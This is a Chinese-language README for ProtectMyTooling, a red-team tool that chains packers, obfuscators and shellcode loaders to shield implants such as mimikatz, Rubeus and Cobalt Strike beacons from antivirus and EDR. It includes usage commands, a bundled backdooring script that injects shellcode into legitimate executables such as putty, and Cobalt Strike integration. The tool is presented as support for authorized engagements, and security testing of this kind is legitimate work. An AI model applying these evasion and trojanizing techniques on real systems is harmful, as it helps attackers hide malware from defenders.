
发布此软件的理由在随附的博客文章中已概述:
该脚本封装了大量打包器、保护器、混淆器、shellcode加载器、编码器、生成器,用于生成复杂的受保护的红队植入物。 它是恶意软件开发CI/CD管道中的完美伴侣,帮助给工件加水印、收集IOC、后门等。
ProtectMyToolingGUI.py

使用ProtectMyTooling,您可以快速混淆您的二进制文件,而无需担心点击所有对话框、界面、菜单、创建项目来混淆单个二进制文件、点击所有可用选项并浪费时间。它直接带您进入重点——混淆您的工具。
目标是在单个二进制文件上提供最方便的界面,并允许利用_多个打包器的菊花链_组合。
没错——我们可以通过一次启动多个打包器来启动ProtectMyTooling:```
C:> py ProtectMyTooling.py hyperion,upx mimikatz.exe mimikatz-obf.exe
上述示例首先将 `mimikatz.exe` 传递给 Hyperion 进行混淆,然后将结果交给 UPX 进行压缩,最终得到 `UPX(Hyperion(file))`
## 功能特点
- 支持多种不同的 PE 打包器、.NET 混淆器、Shellcode 加载器/生成器
- 允许将打包器链式组合,前一个打包器的输出传递给下一个:`callobf,hyperion,upx` 将生成工件 `UPX(Hyperion(CallObf(file)))`
- 在每个混淆步骤中收集 IOCs,以便满足审计与蓝队请求
- 提供向生成的 PE 工件中注入自定义水印的功能——可注入 DOS 存根、校验和、独立 PE 节、文件覆盖区
- 附带一个实用的 Cobalt Strike 攻击脚本,带来 `protected-upload` 和 `protected-execute-assembly` 命令
- 命令行使用直观
## 安装
**此工具设计用于 Windows 系统,因为大多数打包器原生针对该平台。**
不过,某些功能在 Linux 上也可能正常工作,但该支持未经全面测试,请报告错误和问题。
1. 首先,**禁用你的杀毒软件**,并将 `contrib` 目录添加到排除项。该目录包含混淆器、保护器,它们会被杀毒软件标记并删除。
2. 然后克隆此仓库```
PS C:\> git clone --recurse https://github.com/Binary-Offensive/ProtectMyTooling
Windows``` PS C:\ProtectMyTooling> .\install.ps1
**Linux**```
bash# ./install.sh
为了在 Windows 10 上运行 ScareCrow 打包器,需要安装 WSL 并且 bash.exe 可用(位于 %PATH% 中)。
然后,在 WSL 中需要安装 golang,版本至少为 1.16:```
cmd> bash
bash$ sudo apt update ; sudo apt upgrade -y ; sudo apt install golang=2:1.18~3 -y
## 配置
要接入支持的混淆器、更改默认选项或将 **ProtectMyTooling** 指向你的混淆器可执行文件路径,你需要调整 `config\ProtectMyTooling.yaml` 配置文件。
此外还有 `config\sample-full-config.yaml` 文件,它包含所有支持的打包工具的所有可用选项,可作为参考点。
## 友情提示
- 如果你生成的二进制文件崩溃或未按预期运行,请尝试使用不同的打包工具链。
- 打包工具不能保证生成二进制文件的稳定性,因此 ProtectMyTooling 也无法保证。
- 在链式使用时,请根据后续打包工具的预期格式,仔细匹配输出→输入的负载格式。
---
## 使用
在首次使用 `ProtectMyTooling` 之前,必须调整程序的 YAML 配置文件 `ProtectMyTooling.yaml`。
参数处理顺序如下:
- 首先使用默认参数
- 然后它们会被来自 YAML 的值覆盖
- 最后,命令行中提供的任何内容将覆盖相应的值
在那里,需要设置支持的打包工具路径和选项以启用。
### 场景 1:简单的 ConfuserEx 混淆
使用方法非常简单,只需传入要选择的混淆器名称以及输入和输出文件路径:```
C:\> py ProtectMyTooling.py confuserex Rubeus.exe Rubeus-obf.exe
::::::::::.:::::::.. ... :::::::::::.,:::::: .,-::::::::::::::::
`;;;```.;;;;;;``;;;; .;;;;;;;;;;;;;;;\''';;;;\'\''',;;;'````;;;;;;;;\'\'''
`]]nnn]]' [[[,/[[[' ,[[ \[[, [[ [[cccc [[[ [[
$$$"" $$$$$$c $$$, $$$ $$ $$"""" $$$ $$
888o 888b "88bo"888,_ _,88P 88, 888oo,_`88bo,__,o, 88,
. YMMMb :.-:.MM ::-. "YMMMMMP" MMM """"YUMMM"YUMMMMMP" MMM
;;,. ;;;';;. ;;;;'
[[[[, ,[[[[, '[[,[[['
$$$$$$$$"$$$ c$$"
888 Y88" 888o,8P"`
::::::::::::mM... ... ::: :::::. :::. .,-:::::/
;;;;;;;;\'''.;;;;;;;. .;;;;;;;. ;;; ;;`;;;;, `;;,;;-'````'
[[ ,[[ \[[,[[ \[[,[[[ [[[ [[[[[. '[[[[ [[[[[[/
$$ $$$, $$$$$, $$$$$' $$$ $$$ "Y$c$"$$c. "$$
88, "888,_ _,88"888,_ _,88o88oo,._888 888 Y88`Y8bo,,,o88o
MMM "YMMMMMP" "YMMMMMP"""""YUMMMMM MMM YM `'YMUP"YMM
Red Team implants protection swiss knife.
Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
Mariusz Banach / mgeeky '20-'22, <[email protected]>
v0.16
[.] Processing x86 file: "\Rubeus.exe"
[.] Generating output of ConfuserEx(<file>)...
[+] SUCCEEDED. Original file size: 417280 bytes, new file size ConfuserEx(<file>): 756224, ratio: 181.23%
用户也可以混淆文件并立即尝试启动它(同时提供可选的参数),以确保其在使用选项-r --cmdline CMDLINE时运行正常:```
C:> py ProtectMyTooling.py confuserex Rubeus.exe Rubeus-obf.exe -r --cmdline "hash /password:foobar"
[...]
[.] Processing x86 file: "\Rubeus.exe" [.] Generating output of ConfuserEx()...
[+] SUCCEEDED. Original file size: 417280 bytes, new file size ConfuserEx(): 758272, ratio: 181.72%
Running application to test it...
(_____ \ | | ) ) | | _____ _ _ ___ | __ /| | | | _ | ___ | | | |/) | | \ | || | |) ) | || | | || ||/|/|_____)__/(_/
v2.0.0
[*] Action: Calculate Password Hash(es)
[] Input password : foobar [] rc4_hmac : BAAC3929FABC9E6DCD32421BA94A84D4
[!] /user:X and /domain:Y need to be supplied to calculate AES and DES hash types!
### 场景3:复杂恶意软件混淆,包含水印和IOCs收集
下面的用例将输入`beacon.exe`依次送入`CallObf` -> `UPX` -> `Hyperion`打包器。
然后,它将在最终生成的输出工件的DOS Stub中注入指定的`fooobar`水印,并将该工件的校验和修改为值`0xAABBCCDD`。
最后,ProtectMyTooling将捕获所有IOCs(md5、sha1、sha256、imphash和其他元数据),并将其保存到辅助CSV文件中。该文件可用于在参与过程中进行IOC匹配。```
PS> py .\ProtectMyTooling.py callobf,upx,hyperion beacon.exe beacon-obf.exe -i -I operation_chimera -w dos-stub=fooobar -w checksum=0xaabbccdd
[...]
[.] Processing x64 file: "beacon.exe"
[>] Generating output of CallObf(<file>)...
[.] Before obfuscation file's PE IMPHASH: 17b461a082950fc6332228572138b80c
[.] After obfuscation file's PE IMPHASH: 378d9692fe91eb54206e98c224a25f43
[>] Generating output of UPX(CallObf(<file>))...
[>] Generating output of Hyperion(UPX(CallObf(<file>)))...
[+] Setting PE checksum to 2864434397 (0xaabbccdd)
[+] Successfully watermarked resulting artifact file.
[+] IOCs written to: beacon-obf-ioc.csv
[+] SUCCEEDED. Original file size: 288256 bytes, new file size Hyperion(UPX(CallObf(<file>))): 175616, ratio: 60.92%
生成的IOCs证据CSV文件将如下所示:```csv timestamp,filename,author,context,comment,md5,sha1,sha256,imphash 2022-06-10 03:15:52,beacon.exe,mgeeky@commandoVM,Input File,test,dcd6e13754ee753928744e27e98abd16,298de19d4a987d87ac83f5d2d78338121ddb3cb7,0a64768c46831d98c5667d26dc731408a5871accefd38806b2709c66cd9d21e4,17b461a082950fc6332228572138b80c 2022-06-10 03:15:52,y49981l3.bin,mgeeky@commandoVM,Obfuscation artifact: CallObf(),test,50bbce4c3cc928e274ba15bff0795a8c,15bde0d7fbba1841f7433510fa9aa829f8441aeb,e216cd8205f13a5e3c5320ba7fb88a3dbb6f53ee8490aa8b4e1baf2c6684d27b,378d9692fe91eb54206e98c224a25f43 2022-06-10 03:15:53,nyu2rbyx.bin,mgeeky@commandoVM,Obfuscation artifact: UPX(CallObf()),test,4d3584f10084cded5c6da7a63d42f758,e4966576bdb67e389ab1562e24079ba9bd565d32,97ba4b17c9bd9c12c06c7ac2dc17428d509b64fc8ca9e88ee2de02c36532be10,9aebf3da4677af9275c461261e5abde3 2022-06-10 03:15:53,beacon-obf.exe,mgeeky@commandoVM,Obfuscation artifact: Hyperion(UPX(CallObf())),test,8b706ff39dd4c8f2b031c8fa6e3c25f5,c64aad468b1ecadada3557cb3f6371e899d59790,087c6353279eb5cf04715ef096a18f83ef8184aa52bc1d5884e33980028bc365,a46ea633057f9600559d5c6b328bf83d 2022-06-10 03:15:53,beacon-obf.exe,mgeeky@commandoVM,Output obfuscated artifact,test,043318125c60d36e0b745fd38582c0b8,a7717d1c47cbcdf872101bd488e53b8482202f7f,b3cf4311d249d4a981eb17a33c9b89eff656fff239e0d7bb044074018ec00e20,a46ea633057f9600559d5c6b328bf83d
## 支持的打包器
`ProtectMyTooling` 设计为不仅支持混淆器/打包器,还支持所有可从命令行使用的构建器/生成器/Shellcode加载器。
目前,该程序支持多种商业和开源打包器/混淆器。开源打包器已捆绑在项目中。商业打包器需要用户购买产品,并在 `ProtectMyTooling.yaml` 文件中配置其位置,以便脚本找到它们。
1. [`Amber`](https://github.com/EgeBalci/amber) - 反射式PE打包器,输入EXE/DLL,输出EXE/PIC shellcode
2. [`AtomPePacker`](https://github.com/ORCx41/AtomPePacker) - 一款功能强大的PE打包器
3. [`AsStrongAsFuck`](https://github.com/Charterino/AsStrongAsFuck) - Charterino开发的.NET程序集控制台混淆器
4. [`CallObfuscator`](https://github.com/d35ha/CallObfuscator) - 用不同API混淆特定Windows API
5. [`ConfuserEx`](https://github.com/mkaring/ConfuserEx) - 流行的.NET混淆器,由[Martin Karing](https://github.com/mkaring)分支而来
6. [`Donut`](https://github.com/TheWover/donut) - 流行的PE加载器,输入EXE/DLL/.NET,输出PIC shellcode
7. [`Enigma`](https://enigmaprotector.com/) - 专为全面保护可执行文件而设计的强大系统
8. [`Freeze`](https://github.com/optiv/Freeze) - 输入EXE/DLL文件,输出克隆了证书、移除了Golang特定IoC并膨胀了体积的文件。作者:Matt Eidelberg (@Tyl0us)
9. [`Hyperion`](https://nullsecurity.net/tools/binary.html) - 用于32位和64位可执行文件的运行时加密器。它是一个参考实现,基于论文《Hyperion: Implementation of a PE-Crypter》
10. [`IntelliLock`](https://www.eziriz.com/intellilock.htm) - 将强许可证安全、高度可适应的许可功能/模式与可靠的程序集保护相结合
11. [`InvObf`](https://github.com/danielbohannon/Invoke-Obfuscation) - 使用 `Invoke-Obfuscation`(作者:Daniell Bohannon)混淆PowerShell脚本
12. [`LoGiC.NET`](https://github.com/AnErrupTion/LoGiC.NET) - 由AnErrupTion开发的更高级的免费开源.NET混淆器,基于dnlib
13. [`Mangle`](https://github.com/optiv/Mangle) - 输入EXE/DLL文件,输出克隆了证书、移除了Golang特定IoC并膨胀了体积的文件。作者:Matt Eidelberg (@Tyl0us)
14. [`MPRESS`](https://www.autohotkey.com/mpress/mpress_web.htm) - Vitaly Evseenko开发的MPRESS压缩器。输入EXE/DLL/.NET/MAC-DARWIN (x86/x64)并进行压缩
15. [`NetReactor`](https://www.eziriz.com/dotnet_reactor.htm) - 无与伦比的.NET代码保护系统,彻底阻止任何人反编译你的代码
16. [`NetShrink`](https://www.pelock.com/pl/produkty/netshrink) - 适用于Windows和Linux .NET应用程序的EXE打包器(又称可执行文件压缩器)、应用程序密码保护器和虚拟DLL绑定器
17. [`Nimcrypt2`](https://github.com/icyguider/Nimcrypt2) - 生成可运行输入.NET、PE或原始Shellcode的Nim加载器。作者:[(@icyguider)](https://twitter.com/icyguider)
18. [`NimPackt-v1`](https://github.com/chvancooten/NimPackt-v1) - 输入Shellcode或.NET可执行文件,输出EXE或DLL加载器。由Cas van Cooten [(@chvancooten)](https://twitter.com/chvancooten)提供
19. [`NimSyscallPacker`](https://github.com/S3cur3Th1sSh1t-Sponsors/NimSyscallPacker) - 输入PE/Shellcode/.NET可执行文件,生成健壮的Nim+Syscalls EXE/DLL加载器。赞助软件,作者:[(@S3cur3Th1sSh1t)](https://twitter.com/ShitSecure)
20. [`Packer64`](https://github.com/jadams/Packer64) - John Adams的 `Packer64` 的封装
21. [`pe2shc`](https://github.com/hasherezade/pe_to_shellcode) - 将PE转换为shellcode。作者:[@hasherezade](https://twitter.com/hasherezade)
22. [`peCloak`](https://github.com/v-p-b/peCloakCapstone/blob/master/peCloak.py) - 多通道编码器及启发式沙箱绕过AV规避工具
23. [`peresed`](https://github.com/avast/pe_tools) - 使用来自 **avast/pe_tools** 的 _"peresed"_ 删除所有现有PE资源和签名(想想Mimikatz图标)
24. [`peunion`](https://bytecode77.com/pe-union) - 加密可执行文件(x86或.NET x86/x64),运行时解密并内存中执行
25. [`ScareCrow`](https://github.com/optiv/ScareCrow) - EDR规避型x64 shellcode加载器,生成DLL/CPL/XLL/JScript/HTA构件加载器
26. [`sgn`](https://github.com/EgeBalci/sgn) - 移植到Go的Shikata ga nai(仕方がない)编码器,并进行了多项改进。输入shellcode,输出编码后的shellcode
27. [`SmartAssembly`](https://www.red-gate.com/products/dotnet-development/smartassembly/) - 混淆器,通过使第三方难以访问源代码,帮助保护应用程序免受逆向工程或修改
28. [`sRDI`](https://github.com/monoxgas/sRDI) - 将DLL转换为位置无关的shellcode。作者:Nick Landers, [@monoxgas](https://twitter.com/monoxgas)
29. [`Themida`](https://www.oreans.com/Themida.php) - 高级Windows软件保护系统
30. [`UPX`](https://upx.github.io/) - 一个免费、可移植、可扩展、高性能的可执行文件打包器,支持多种可执行格式
31. [`VMProtect`](https://vmpsoft.com/) - 通过在非标准架构的虚拟机上执行代码来保护代码,使分析和破解软件变得极其困难
您可以使用 `-L` 选项快速列出支持的打包器(表格列根据终端宽度选择,宽度越大,显示的信息越多):```
C:\> py ProtectMyTooling.py -L
[...]
Red Team implants protection swiss knife.
Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
Mariusz Banach / mgeeky '20-'22, <[email protected]>
v0.16
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| # | Name | Type | Licensing | Input | Output | Author |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| 1 | amber | open-source | Shellcode Loader | PE | EXE, Shellcode | Ege Balci |
| 2 | asstrongasfuck | open-source | .NET Obfuscator | .NET | .NET | Charterino, klezVirus |
| 3 | atompepacker | open-source | PE EXE/DLL Protector | PE | EXE, DLL | ORCA (@ORCx41, [email protected]) |
| 4 | backdoor | open-source | Shellcode Loader | Shellcode | PE | Mariusz Banach, @mariuszbit |
| 5 | callobf | open-source | PE EXE/DLL Protector | PE | PE | Mustafa Mahmoud, @d35ha |
| 6 | confuserex | open-source | .NET Obfuscator | .NET | .NET | mkaring |
| 7 | donut-packer | open-source | Shellcode Converter | PE, .NET, VBScript, JScript | Shellcode | TheWover |
| 8 | enigma | commercial | PE EXE/DLL Protector | PE | PE | The Enigma Protector Developers Team |
| 9 | freeze | open-source | Shellcode Loader | Shellcode | PE | Matt Eidelberg (@Tyl0us) |
| 10 | hyperion | open-source | PE EXE/DLL Protector | PE | PE | nullsecurity team |
| 11 | intellilock | commercial | .NET Obfuscator | PE | PE | Eziriz |
| 12 | invobf | open-source | Powershell Obfuscator | Powershell | Powershell | Daniel Bohannon |
| 13 | logicnet | open-source | .NET Obfuscator | .NET | .NET | AnErrupTion, klezVirus |
| 14 | mangle | open-source | Executable Signing | PE | PE | Matt Eidelberg (@Tyl0us) |
| 15 | mpress | freeware | PE EXE/DLL Compressor | PE | PE | Vitaly Evseenko |
| 16 | netreactor | commercial | .NET Obfuscator | .NET | .NET | Eziriz |
| 17 | netshrink | open-source | .NET Obfuscator | .NET | .NET | Bartosz Wójcik |
| 18 | nimcrypt2 | open-source | Shellcode Loader | PE, .NET, Shellcode | PE | @icyguider |
| 19 | nimpackt | open-source | Shellcode Loader | .NET, Shellcode | PE | Cas van Cooten (@chvancooten) |
| 20 | nimsyscall | sponsorware | Shellcode Loader | PE, .NET, Shellcode | PE | @S3cur3Th1sSh1t |
| 21 | packer64 | open-source | PE EXE/DLL Compressor | PE | PE | John Adams, @jadams |
| 22 | pe2shc | open-source | Shellcode Converter | PE | Shellcode | @hasherezade |
| 23 | pecloak | open-source | PE EXE/DLL Protector | PE | PE | Mike Czumak, @SecuritySift, buherator / v-p-b |
| 24 | peresed | open-source | PE EXE/DLL Protector | PE | PE | Martin Vejnár, Avast |
| 25 | peunion | freeware | PE EXE/DLL Compressor | PE, .NET | PE | Martin Fischer / bytecode77 <[email protected]> |
| 26 | scarecrow | open-source | Shellcode Loader | Shellcode | DLL, JScript, CPL, XLL | Matt Eidelberg (@Tyl0us) |
| 27 | sgn | open-source | Shellcode Encoder | Shellcode | Shellcode | Ege Balci |
| 28 | smartassembly | commercial | .NET Obfuscator | .NET | .NET | Red-Gate |
| 29 | srdi | open-source | Shellcode Encoder | DLL | Shellcode | Nick Landers, @monoxgas |
| 30 | themida | commercial | PE EXE/DLL Protector | PE | PE | Oreans |
| 31 | upx | open-source | PE EXE/DLL Compressor | PE | PE | Markus F.X.J. Oberhumer, László Molnár, John F. Reiser |
| 32 | vmprotect | commercial | PE EXE/DLL Protector | PE | PE | vmpsoft |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
上面是受支持的打包器,但这并不意味着你已经配置好并可以立即使用。
要准备使用它们,首先必须将必要的二进制文件提供给 contrib 目录,然后相应地配置你的 YAML 文件。
本程序专为专业红队设计,非常适合在典型的植入物开发 CI/CD 流水线中使用。
作为红队成员,我始终需要交付与所有植入物相匹配的高质量 IOC 列表,同时我发现为所有植入物添加水印对于记账、归因和可追溯性至关重要。
为满足这些需求,ProtectMyTooling 提供了基础支持。
ProtectMyTooling 可以在混淆轮次后通过使用 --watermark 选项来应用水印:```
py ProtectMyTooling [...] -w dos-stub=fooooobar -w checksum=0xaabbccdd -w section=.coco,ALLYOURBASEAREBELONG
还有一种独立的方法,包含在 `RedWatermarker.py` 脚本中。
它接收可执行产物作为输入,并接受几个参数,用于指定水印注入位置和要插入的值。
示例运行会将 PE 校验和设置为 0xAABBCCDD,将 `foooobar` 插入到 PE 文件的 DOS Stub 中(包含 _This program cannot be run..._ 的字节),将 `bazbazbaz` 追加到文件 overlay 中,然后创建一个名为 `.coco` 的新 PE 节,将其追加到文件末尾,并用预设标记填充该节。```
py RedWatermarker.py beacon-obf.exe -c 0xaabbccdd -t fooooobar -e bazbazbaz -s .coco,ALLYOURBASEAREBELONG
完整的水印器使用方法:``` cmd> py RedWatermarker.py --help
;
ED.
,E#Wi
j. f#iE###G. EW, .E#t E#fD#W; E##j i#W, E#t t##L E###D. L#D. E#t .E#K, E#jG#W; :K#Wfff; E#t j##f E#t t##f i##WLLLLtE#t :E#K: E#t :K#E: .E#L E#t t##L E#KDDDD###i f#E: E#t .D#W; ,; G: ,; E#f,t#Wi,,, ,WW; E#tiW#G. f#i j. j. E#, : f#i j. E#t ;#W: ; .D#;E#K##i .. GEEEEEEEL .E#t EW, .. : .. EW, E#t .GE .E#t EW, DWi ,K.DL ttE##D. ;W, ,;;L#K;;. i#W, E##j ,W, .Et ;W, E##j E#t j#K; i#W, E##j f. :K#L LWL E#t j##, t#E L#D. E###D. t##, ,W#t j##, E###D. E#GK#f L#D. E###D. EW: ;W##L .E#f L: G###, t#E :K#Wfff; E#jG#W; L###, j###t G###, E#jG#W; E##D. :K#Wfff; E#jG#W; E#t t#KE#L ,W#; :E####, t#E i##WLLLLt E#t t##f .E#j##, G#fE#t :E####, E#t t##f E##Wi i##WLLLLt E#t t##f E#t f#D.L#L t#K: ;W#DG##, t#E .E#L E#t :K#E: ;WW; ##,:K#i E#t ;W#DG##, E#t :K#E:E#jL#D: .E#L E#t :K#E: E#jG#f L#LL#G j###DW##, t#E f#E: E#KDDDD###i j#E. ##f#W, E#t j###DW##, E#KDDDD###E#t ,K#j f#E: E#KDDDD###i E###; L###j G##i,,G##, t#E ,WW; E#f,t#Wi,,,.D#L ###K: E#t G##i,,G##, E#f,t#Wi,,E#t jD ,WW; E#f,t#Wi,,, E#K: L#W; :K#K: L##, t#E .D#; E#t ;#W: :K#t ##D. E#t :K#K: L##, E#t ;#W: j#t .D#; E#t ;#W: EG LE. ;##D. L##, fE tt DWi ,KK:... #G .. ;##D. L##, DWi ,KK: ,; tt DWi ,KK: ; ;@ ,,, .,, : j ,,, .,,
Watermark thy implants, track them in VirusTotal
Mariusz Banach / mgeeky '22, (@mariuszbit)
<[email protected]>
usage: RedWatermarker.py [options]
options: -h, --help show this help message and exit
Required arguments: infile Input implant file
Optional arguments: -C, --check Do not actually inject watermark. Check input file if it contains specified watermarks. -v, --verbose Verbose mode. -d, --debug Debug mode. -o PATH, --outfile PATH Path where to save output file with watermark injected. If not given, will modify infile.
PE Executables Watermarking: -t STR, --dos-stub STR Insert watermark into PE DOS Stub (This program cannot be run...). -c NUM, --checksum NUM Preset PE checksum with this value (4 bytes). Must be number. Can start with 0x for hex value. -e STR, --overlay STR Append watermark to the file's Overlay (at the end of the file). -s NAME,STR, --section NAME,STR Append a new PE section named NAME and insert watermark there. Section name must be shorter than 8 characters. Section will be marked Read-Only, non-executable.
目前仅支持PE文件的水印处理,但未来将添加Office文档及其他格式的支持。
### IOC收集
只需在运行 `ProtectMyTooling` 时使用 `-i` 选项即可收集IOC。
IOC将在以下阶段收集:
- 输入文件阶段
- 每次混淆轮次后的中间文件阶段
- 最终输出文件阶段
结果将以CSV文件形式保存,包含以下字段:
- `timestamp`(时间戳)
- `filename`(文件名)
- `author`(作者)——格式为 `用户名@主机名`
- `context`(上下文)——指示记录指向输入、输出还是中间文件
- `comment`(注释)——用户通过 `-I 值` 选项设置的值
- `md5`
- `sha1`
- `sha256`
- `imphash`(PE导入哈希,如可用)
- (待实现)`typeref_hash`(.NET TypeRef哈希,如可用)
生成的CSV文件名为 `outfile-ioc.csv`,存储在输出工件旁边。该文件以追加模式写入,意味着它将接收所有后续的IOC。
# RedBackdoorer - 内置PE后门植入
`ProtectMyTooling` 使用我自己的 `RedBackdoorer.py` 脚本,该脚本提供了几种用于PE可执行文件后门植入的方法。支持以名为 `backdoor` 的专用打包器形式提供。示例用法:
**将Cobalt Strike shellcode作为输入,使用SGN(Shikata Ga-Nai)编码,然后植入SysInternals DbgView64.exe后门,最后生成Amber EXE反射加载器**```
PS> py ProtectMyTooling.py sgn,backdoor,amber beacon64.bin dbgview64-infected.exe -B dbgview64.exe
::::::::::.:::::::.. ... :::::::::::.,:::::: .,-::::::::::::::::
`;;;```.;;;;;;``;;;; .;;;;;;;;;;;;;;;;;;;,;;;'````;;;;;;;;
`]]nnn]]' [[[,/[[[' ,[[ \[[, [[ [[cccc [[[ [[
$$$"" $$$$$$c $$$, $$$ $$ $$"""" $$$ $$
888o 888b "88bo"888,_ _,88P 88, 888oo,_`88bo,__,o, 88,
. YMMMb :.-:.MM ::-. "YMMMMMP" MMM """"YUMMM"YUMMMMMP" MMM
;;,. ;;;';;. ;;;;'
[[[[, ,[[[[, '[[,[[['
$$$$$$$$"$$$ c$$"
888 Y88" 888o,8P"`
::::::::::::mM... ... ::: :::::. :::. .,-:::::/
;;;;;;;;.;;;;;;;. .;;;;;;;. ;;; ;;`;;;;, `;;,;;-'````'
[[ ,[[ \[[,[[ \[[,[[[ [[[ [[[[[. '[[[[ [[[[[[/
$$ $$$, $$$$$, $$$$$' $$$ $$$ "Y$c$"$$c. "$$
88, "888,_ _,88"888,_ _,88o88oo,._888 888 Y88`Y8bo,,,o88o
MMM "YMMMMMP" "YMMMMMP"""""YUMMMMM MMM YM `'YMUP"YMM
Red Team implants protection swiss knife.
Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
Mariusz Banach / mgeeky '20-'22, <[email protected]>
v0.16
[.] Processing x64 file : beacon64.bin
[>] Generating output of sgn(<file>)...
[>] Generating output of backdoor(sgn(<file>))...
[>] Generating output of Amber(backdoor(sgn(<file>)))...
[+] SUCCEEDED. Original file size: 265959 bytes, new file size Amber(backdoor(sgn(<file>))): 1372672, ratio: 516.12%
完整 RedBackdoorer 用法:``` cmd> py RedBackdoorer.py --help
██▀███ ▓█████▓█████▄
▓██ ▒ ██▓█ ▀▒██▀ ██▌
▓██ ░▄█ ▒███ ░██ █▌
▒██▀▀█▄ ▒▓█ ▄░▓█▄ ▌
░██▓ ▒██░▒████░▒████▓
░ ▒▓ ░▒▓░░ ▒░ ░▒▒▓ ▒
░▒ ░ ▒░░ ░ ░░ ▒ ▒
░░ ░ ░ ░ ░ ░
▄▄▄▄ ▄▄▄░ ░ ▄████▄ ██ ▄█▓█████▄ ▒█████ ▒█████ ██▀███ ▓█████ ██▀███
▓█████▄▒████▄ ░▒██▀ ▀█ ██▄█▒▒██▀ ██▒██▒ ██▒██▒ ██▓██ ▒ ██▓█ ▀▓██ ▒ ██▒
▒██▒ ▄█▒██ ▀█▄ ▒▓█ ▄▓███▄░░██ █▒██░ ██▒██░ ██▓██ ░▄█ ▒███ ▓██ ░▄█ ▒
▒██░█▀ ░██▄▄▄▄██▒▓▓▄ ▄██▓██ █▄░▓█▄ ▒██ ██▒██ ██▒██▀▀█▄ ▒▓█ ▄▒██▀▀█▄
░▓█ ▀█▓▓█ ▓██▒ ▓███▀ ▒██▒ █░▒████▓░ ████▓▒░ ████▓▒░██▓ ▒██░▒████░██▓ ▒██▒
░▒▓███▀▒▒▒ ▓▒█░ ░▒ ▒ ▒ ▒▒ ▓▒▒▒▓ ▒░ ▒░▒░▒░░ ▒░▒░▒░░ ▒▓ ░▒▓░░ ▒░ ░ ▒▓ ░▒▓░
▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░░ ▒ ▒ ░ ▒ ▒░ ░ ▒ ▒░ ░▒ ░ ▒░░ ░ ░ ░▒ ░ ▒░
░ ░ ░ ▒ ░ ░ ░░ ░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░ ▒ ░░ ░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░
Your finest PE backdooring companion.
Mariusz Banach / mgeeky '22, (@mariuszbit)
<[email protected]>
usage: RedBackdoorer.py [options]
options: -h, --help show this help message and exit
Required arguments: mode PE Injection mode, see help epilog for more details. shellcode Input shellcode file infile PE file to backdoor
Optional arguments: -o PATH, --outfile PATH Path where to save output file with watermark injected. If not given, will modify infile. -v, --verbose Verbose mode.
Backdooring options: -n NAME, --section-name NAME If shellcode is to be injected into a new PE section, define that section name. Section name must not be longer than 7 characters. Default: .qcsw -i IOC, --ioc IOC Append IOC watermark to injected shellcode to facilitate implant tracking.
Authenticode signature options: -r, --remove-signature Remove PE Authenticode digital signature since its going to be invalidated anyway.
PE Backdooring consists of two comma-separated options. First one denotes where to store shellcode, second how to run it:
save,run
| |
| +---------- 1 - change AddressOfEntryPoint
| 2 - hijack branching instruction at Original Entry Point (jmp, call, ...)
| 3 - setup TLS callback
|
+-------------- 1 - store shellcode in the middle of a code section
2 - append shellcode to the PE file in a new PE section
Example:
py RedBackdoorer.py 1,2 beacon.bin putty.exe putty-infected.exe
# Cobalt Strike 集成
此外,还有一个脚本将 `ProtectMyTooling.py` 作为围绕配置的 PE/.NET 打包器/保护器的包装器集成进来,以便轻松地将输入的可执行文件转换为其受保护和压缩的输出形式,然后在 CobaltStrike 中上传或使用它们。
其理念是拥有一个自动化的过程来保护所有上传的二进制文件或由 execute-assembly 使用的 .NET 程序集,从而无需在每次使用前手动保护或混淆它们。这种自动化转换可执行文件的额外好处是,每次使用时都能得到相同的受保护可执行文件,从而在目标机器上生成唯一的样本。这应该能很好地欺骗 EDR/AV 的企业级 IOC 扫描,使其无法在不同机器上查找相同的人工痕迹。
此外,`protected-execute-assembly` 命令能够查找仅给出名称的程序集,这些程序集位于预配置的程序集目录中(在 `dotnet_assemblies_directory` 设置中设置)。
使用方法:
1. 将 `CobaltStrike/ProtectMyTooling.cna` 加载到 Cobalt Strike 中。
2. 进入菜单并设置所有选项

3. 然后在你的 Beacon 控制台中,将有以下命令可用:
* `protected-execute-assembly` - 在目标机器的内存中执行本地、预先受保护和压缩的 .NET 程序。
* `protected-upload` - 接收输入文件,如果它是 PE 可执行文件则进行保护,然后将该文件上传到指定的远程位置。
* `bofnet_load_protected` - 接收输入的 .NET 程序集文件,通过配置的 .NET 打包器链进行处理,然后使用 `bofnet_load` 加载生成的输出。需要先单独加载 [BOFNET](https://github.com/CCob/BOF.NET/) 才能使用此命令。
基本上,这些命令会打开输入文件,首先将其传递给 `CobaltStrike/cobaltProtectMyTooling.py` 脚本,该脚本再调用 `ProtectMyTooling.py`。一旦二进制文件被混淆,它就会被传递给你的 beacon 执行/上传。
## Cobalt Strike 相关选项
以下是 Cobalt Strike 集成器所需的选项列表:
* `python3_interpreter_path` - 指定 Python3 解释器可执行文件的路径
* `protect_my_tooling_dir` - 指定 ProtectMyTooling 主目录的路径
* `protect_my_tooling_config` - 指定包含各种打包器选项的 ProtectMyTooling 配置文件的路径
* `dotnet_assemblies_directory` - 指定本地 .NET 程序集目录的路径,当 execute-assembly 未找到程序集时,将在该目录中查找
* `cache_protected_executables` - 启用缓存已保护的可执行文件,并在需要时重用它们
* `protected_executables_cache_dir` - 指定用于存储缓存受保护可执行文件的目录路径
* `default_exe_x86_packers_chain` - 原生 x86 EXE 可执行文件的保护器/打包器链
* `default_exe_x64_packers_chain` - 原生 x64 EXE 可执行文件的保护器/打包器链
* `default_dll_x86_packers_chain` - 原生 x86 DLL 可执行文件的保护器/打包器链
* `default_dll_x64_packers_chain` - 原生 x64 DLL 可执行文件的保护器/打包器链
* `default_dotnet_packers_chain` - .NET 可执行文件的保护器/打包器链
---
## 已知问题
- `ScareCrow` 在 Windows 上运行非常棘手。对我有效的方法是:
1. 在 Windows 10 上运行并安装 WSL(Windows 中可使用 `bash.exe` 命令)
2. 在 WSL 中安装 `golang`,版本为 `1.16+`(已在 `1.18` 上测试)
